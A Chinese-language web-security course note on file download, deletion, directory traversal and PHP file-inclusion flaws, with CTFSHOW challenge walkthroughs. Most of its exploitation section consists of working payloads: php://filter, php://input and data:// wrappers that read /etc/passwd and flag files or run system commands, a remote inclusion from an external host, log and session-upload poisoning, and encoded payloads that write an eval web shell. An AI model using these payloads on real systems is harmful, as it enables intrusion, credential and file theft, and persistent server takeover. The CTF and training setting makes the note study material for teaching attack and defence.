文件安全-下载&删除-黑白盒

  • 1、下载=读取
    常规下载URL:http://www.xiaodi8.com/upload/123.pdf
    可能存在安全URL:http://www.xiaodi8.com/xx.xx?file=123.pdf
    利用:常规下载敏感文件(数据库配置,中间件配置,系统密匙等文件信息)
  • 2、文件删除(常出现后台中)
    可能存在安全问题:前台或后台有删除功能应用
    利用:常规删除重装锁定配合程序重装或高危操作

目录安全-遍历&穿越-黑白盒

  • 1、目录遍历
    目录权限控制不当,通过遍历获取到有价值的信息文件去利用
  • 2、目录穿越(常出现后台中)
    目录权限控制不当,通过控制查看目录路径穿越到其他目录或判断获取价值文件再利用

黑盒分析:

  • 1、功能点
    文件上传,文件下载,文件删除,文件管理器等地方
  • 2、URL特征
    文件名:
    download,down,readfile,read,del,dir,path,src,Lang等
    参数名:
    file、path、data、filepath、readfile、data、url、realpath等

白盒分析:

上传类函数,删除类函数,下载类函数,目录操作函数,读取查看函数等

思维导图

41WEB攻防

知识点:

  • 29、文件包含-原理&分类&危害-LFI&RFI
  • 30、文件包含-利用-黑白盒&无文件&伪协议

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….


文件包含-原理&分类&利用&修复

1、原理

        程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

  • 1.1、分类
    本地包含-Local File Include-LFI
    远程包含-Remote File Include-RFI
    差异原因:代码过滤和环境配置文件开关决定

2、白盒审计:(CTFSHOW)

  • 白盒发现:
    1、可通过应用功能追踪代码定位审计
    2、可通过脚本特定函数搜索定位审计
    3、可通过伪协议玩法绕过相关修复等
    PHP:include、require、include_once、require_once等
    include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
    require函数出现错误的时候,会直接报错并退出程序的执行
    Java:java.io.File、java.io.FileReader等
    ASP.NET:System.IO.FileStream、System.IO.StreamReader等

3、黑盒分析:

  • 黑盒发现:
    主要观察参数传递的数据和文件名是否对应
    URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

4、利用

本地利用思路:
1、配合文件上传
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用
参考:https://blog.csdn.net/unexpectedthing/article/details/121276653

  • 文件读取:
    1
    2
    file:///etc/passwd  
    php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 文件写入:
    1
    2
    3
    4
    5
    6
    php://filter/write=convert.base64-encode/resource=phpinfo.php
    php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
    -代码执行:
    php://input POST:<?php phpinfo();?>
    data://text/plain,<?php phpinfo();?>
    data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    远程利用思路:
    直接搭建一个可访问的远程URL包含文件

5、修复见网上参考方案

黑盒利用-VULWEB-有无包含文件

http://testphp.vulnweb.com/showimage.php?file=index.php

白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

78-php&http协议

1
2
3
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php  
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

1
2
3
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

80 81-日志包含

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log

82-86-SESSION包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

  • 1、利用base64:
    url编码2次:php://filter/write=convert.base64-decode/resource=123.php
    content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
  • 2、利用凯撒13:
    url编码2次:php://filter/write=string.rot13/resource=2.php
    content=

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

1
2
3
4
5
6
7
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?